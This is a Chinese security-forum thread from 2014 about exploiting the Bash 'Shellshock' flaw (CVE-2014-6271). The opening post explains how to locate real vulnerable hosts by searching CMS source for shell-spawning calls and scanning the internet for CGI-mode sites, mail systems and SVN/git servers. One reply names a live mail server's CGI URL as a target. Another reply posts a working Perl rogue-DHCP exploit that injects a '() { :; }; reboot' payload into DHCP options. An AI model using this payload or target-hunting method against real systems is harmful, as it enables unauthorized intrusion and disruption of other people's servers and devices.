- A+
漏洞细节以及基本poc @mramydnei 已经在http://zone.wooyun.org/content/15392给出了。
开个贴讨论一下如何寻找该cve的靶机。
先说利用条件:
1.env可控可写
2.派生bash子进程
下图可以很好的说明为什么条件二是必须的。(python的os.system会派生bash子进程)
所以不要再问,为什么你poc代码打到一个开了cgi模式的php主机上,却没有执行了,因为你访问的那个文件压根就没满足条件二。
哪些地方可能会满足条件一:
1.svn,git
2.apache的mod_cgi,mod_cgid(ua等内容可以控制env)
哪些东西满足条件二:
python的os.system,os.popen;c的system,popen;php的system,exec;perl的open,system等脚本语言中可以产生subshell的函数。
寻找实例思路:
1.针对web的
1)首先在各种脚本语言写成的开源cms或者开源mvc框架寻找使用了上述函数的文件
。假设在phpcms中有一个文件/module/a.php中使用了system函数,那么记录这个文件。
然后在各种搜索引擎查找/module/a.php且配置了cgi模式的目标,可以用zoomeye或者撒旦。
2)一些潜在的可能使用了这些特征函数的地方:
某些网站提供超级ping,dnswalk,在线端口扫描等可能会使用上述的函数调用本地脚本。
2.针对svn,git(poc自寻)
到乌云搜索svn关键字,即可获得一些ip。
本文只是抛砖引玉,有更好的思路欢迎跟帖。
全网段ip扫描必定没什么收获。除非你在扫ip的过程中顺便将所有文件spider才可能找到目标,不过那好像是百度或者zoomeye干的事情。
1#0x_Jin | 2014-09-25 16:02
前排占楼~~~~~~~
2#open | 2014-09-25 16:02
这个不错,顶楼主。
3#梧桐雨 | 2014-09-25 16:02
思路挺赞的:)
4#疯子 | 2014-09-25 16:02
前排,鸡肋的漏洞,然后让大神们YY个超级漏洞!
5#qingxp9 | 2014-09-25 16:03
有好心人给个实例练下手感
6#紫衣大侠 | 2014-09-25 16:03
不错啊。有了很好的思路~~
7#白非白 | 2014-09-25 16:11
@qingxp9 extmail的去试一下?
8#小威 | 2014-09-25 16:12
看起来好叼的样子~
9#蒙塔基的钢弹 | 2014-09-25 16:22
@白非白 似乎mail系统成功率很高
10#qingxp9 | 2014-09-25 16:28
@白非白 好的,我去找找
11#白非白 | 2014-09-25 16:32
@蒙塔基的钢弹 mail大多采用cgi模式。
12#scanf | 2014-09-25 17:09
还没有明白这个洞
13#fox | 2014-09-25 17:11
我觉得本文可以加精
14#白非白 | 2014-09-25 17:25
@scanf 哪里没明白,我可以再解释一下。
15#海豚1号 | 2014-09-25 17:36
@白非白 像这种为什么不能利用 http://mail.cranewh.com/extmail/cgi/index.cgi 是不是没有派生bash子进程 。这样说来cgi程序又没有派生bash子进程只能靠试了。
16#孤月寒城 | 2014-09-25 17:47
不错。看看
17#白非白 | 2014-09-25 18:13
@海豚1号 非要试某个站,可以把useragent设置好,然后用蜘蛛去爬文件,效率肯定比较低。推荐在开源系统中进行代码搜索。比如在cgi邮件源码检索到某文件存在这个问题,基本就能利用了
18#白非白 | 2014-09-25 18:18
@qingxp9 extmail是perl写的,有几处调用了system,不过是几个pm文件,不能直接访问,没用过perl,不知道哪个cgi文件会调用这几个pm文件。如果你懂的话可以去看看。
19#疯狗 | 2014-09-25 18:28
@海豚1号 这个cgi是bash解析的么?
20#hkAssassin | 2014-09-25 18:29
谁能给一个实战案例啊……找了这么就没一个成功过啊……
21#海豚1号 | 2014-09-25 18:33
@疯狗 不是的
22#海豚1号 | 2014-09-25 18:35
@疯狗 也许是perl 或者别的脚本写的。关键是估计没有派生bash子进程所以无法利用!
23#疯狗 | 2014-09-25 18:39
@海豚1号 perl或者其他比如C啥的不受这个漏洞影响吧?
24#白非白 | 2014-09-25 18:40
@疯狗 perl的。
25#loopx9 | 2014-09-25 19:00
@白非白 只要派生bash子进程,cgi类执行的都应该存在漏洞吧?
26#白非白 | 2014-09-25 20:04
@loopx9 @疯狗 cgi类的产生subshell应该都可以被远程利用。https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
27#寂寞的瘦子 | 2014-09-25 20:20
补充下Scala也是可以derving bash subprocess。喵了个咪。
28#phith0n | 2014-09-25 23:20
mark 一下,这才是我要的分析贴。。。!
29#terrying | 2014-09-26 00:14
mark
30#白非白 | 2014-09-26 08:25
@寂寞的瘦子 大牛你好。。
31#zzR | 2014-09-26 08:34
专业选手nb
32#浮萍 | 2014-09-26 08:39
大牛你好
33#海豚1号 | 2014-09-26 09:54
http://bbs.aliyun.com/read/176987.html 这篇阿里大牛说的ssh 得到bash的交互接口啥意思,总不会ssh上去,然后执行命令吧,本地提权?求大牛解释!
34#寂寞的瘦子 | 2014-09-26 09:56
@寂寞的瘦子 啊。。你是主角呀。我是学挖掘机的。
35#寂寞的瘦子 | 2014-09-26 11:23
@白非白 醉了。。。我尽然@了自己。。
36#白非白 | 2014-09-26 11:38
@寂寞的瘦子 昨晚喝了多少G的ddos?哈哈
37#c4bbage | 2014-09-26 13:45
#!/usr/bin/perl
# largely purloined from http://www.perlmonks.org/?node_id=1093916 as my PoC for the old options overflow proved too messy^wPerlish to rework - [machine]
use strict;
use IO::Socket;
use Net::DHCP::Packet;
use Net::DHCP::Constants;
my $server_ip = "10.10.10.1";
my $client_ip = "10.10.10.10";
my $subnet_mask = "255.255.255.0";
my $socket_in = IO::Socket::INET->new( LocalPort => 67, LocalAddr => "255.255.255.255", Proto => 'udp') or die $@;
while(1) {
my $buf;
$socket_in->recv($buf,4096);
my $packet = new Net::DHCP::Packet($buf);
my $messagetype = $packet->getOptionValue(DHO_DHCP_MESSAGE_TYPE());
if ($messagetype eq DHCPDISCOVER()) {
send_offer($packet);
} elsif ($messagetype eq DHCPREQUEST()) {
send_ack($packet);
}
}
sub send_offer {
my $request = @_;
my $socket_out = IO::Socket::INET->new( PeerPort => 68, PeerAddr => "255.255.255.255", LocalAddr => "$server_ip:67", Broadcast => 1, Proto => 'udp') or die $@;
my $offer = new Net::DHCP::Packet(Op => BOOTREPLY(), Xid => $request->xid(), Flags => $request->flags(), Ciaddr => $request->ciaddr(), Yiaddr => $client_ip, Siaddr => $server_ip, Giaddr => $request->giaddr(), Chaddr => $request->chaddr(), DHO_DHCP_MESSAGE_TYPE() => DHCPOFFER());
$offer->addOptionValue(DHO_SUBNET_MASK(), $subnet_mask);
$offer->addOptionValue(DHO_NAME_SERVERS, $server_ip);
$offer->addOptionValue(DHO_HOST_NAME, "() { :; }; reboot");
$offer->addOptionValue(DHO_DOMAIN_NAME, "() { :; }; reboot");
$socket_out->send($offer->serialize()) or die $!;
print STDERR "sent offer\n";
}
sub send_ack {
print STDERR "send ack\n";
}
111
38#c4bbage | 2014-09-26 13:48
dhcp_1.png
39#redrain有节操 | 2014-09-26 15:27
@phith0n phith0n老师带我飞
40#chopper | 2014-09-26 16:36
执行命令检测需要系统权限,怎么在知道ip,没有账号密码的情况下就检测出这个服务器有没有这个漏洞,这个是乙方人员最关心的问题,求问。。
41#白非白 | 2014-09-26 17:36
@chopper | 2漏洞一样。服务器没有暴露存在漏洞的服务给你,你怎么测。
- 我的微信
- 这是我的微信扫一扫
- 我的微信公众号
- 我的微信公众号扫一扫